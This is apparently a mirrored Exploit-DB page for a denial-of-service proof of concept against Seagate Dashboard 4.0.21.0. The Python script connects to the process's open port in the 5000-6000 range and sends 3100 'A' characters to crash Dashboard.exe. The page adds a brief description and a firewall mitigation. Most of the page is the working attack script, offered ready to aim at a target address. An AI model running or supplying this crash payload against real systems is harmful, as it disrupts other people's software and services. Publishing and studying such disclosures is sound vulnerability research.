Seagate Dashboard 4.0.21.0 – Crash (PoC)

  • 作者: HexTitan
    日期: 2015-06-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37343/
  • #!/usr/bin/env python
    
    
    # Exploit Title: Crash PoC Seagate Dashboard 4.0.21.0
    # Date: 2015-06-20
    # Exploit Author: HexTitan
    # Vendor Homepage: http://www.seagate.com/
    # Software Link: http://www.seagate.com/support/downloads/item/seagate-dashboard-windows-master-dl/
    # Version: 4.0.21.0
    # Tested on: Windows 8.1 32bit
    #
    #Description:
    #
    #The dasboard tool is part of the Seagate software solution for storage. The Dashboard.exe process opens a random port in the 5000-6000 range on each launch.
    #
    #PoC:
    #
    #The attached Python script will send 3100 A's to the target port. This will cause a crash in the Dashboard.exe process.
    #
    #
    #Solution:
    #
    #Until a fix is available, firewall the Dashboard.exe process.
    
    import socket
    import sys
    import os
     
    target = '[ip]'
    port = [port]
    
    buffer = 'A'*3100
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
    	connect = s.connect((target, port))
    	print '[*] Connected to ' + target
    
    except:
    	print '[-] Unable to connect to ' + target
    	sys.exit(0)
    
    s.send(buffer)
    
    
    print '[!] Malformed request sent\n'
    s.close()